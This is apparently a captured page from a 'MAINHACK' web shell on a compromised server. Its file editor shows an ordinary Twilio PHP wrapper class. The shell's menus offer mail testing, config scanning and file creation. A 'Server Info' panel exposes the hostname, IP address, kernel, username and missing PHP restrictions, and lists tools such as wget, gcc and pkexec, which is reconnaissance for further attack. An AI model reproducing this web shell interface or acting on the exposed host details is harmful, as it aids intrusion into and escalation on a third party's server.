[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Twilio.php
<?php namespace Arkitecht\Twilio; use Twilio\Rest\Client; class Twilio { /** * @var Client */ private $client; public function __construct($clientSid, $clientToken) { $this->client = new Client($clientSid, $clientToken); } public function sendMessage($to, $body, $url = null) { $request = [ "messagingServiceSid" => config('twilio.messaging_service'), "body" => $body, ]; if ($url) { $request['mediaUrl'] = [$url]; } return $this ->messages() ->create($this->formatNumber($to), // to $request ); } public function client() { return $this->client; } public function calls($args = null) { if (!$args) { return $this->client->calls; } return $this->client->calls($args); } public function conferences($args = null) { if (!$args) { return $this->client->conferences; } return $this->client->conferences($args); } public function messages($args = null) { if (!$args) { return $this->client->messages; } return $this->client->messages($args); } public function numbers($args = null) { if (!$args) { return $this->client->incomingPhoneNumbers->read(); } return $this->client->incomingPhoneNumbers($args); } public function makeCall($to, $from, $parameters) { return $this ->calls() ->create($this->formatNumber($to), // to $this->formatNumber($from), // from $parameters ); } public function lookup($number, $carrier = true, $name = false, $countryCode = 'US') { $types = []; if ($carrier) { $types[] = 'carrier'; } if ($name) { $types[] = 'caller-name'; } $fetchParams = [ "countryCode" => $countryCode, "type" => $types, ]; return $this ->client ->lookups ->v1 ->phoneNumbers($this->formatNumber($number)) ->fetch($fetchParams); } public function raw($url, $method = 'GET', $params = [], $data = [], $headers = []) { $response = $this->client->request($method, $url, $params, $data, $headers); $reflection = new \ReflectionClass($response); $property = $reflection->getProperty('content'); $property->setAccessible(true); return $property->getValue($response); } public static function formatNumber($number) { if (!preg_match('/^\+1/', $number)) { $number = '+1' . $number; } return $number; } public static function cleanNumber($number) { return preg_replace('/^\+1/', '', $number); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.42 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002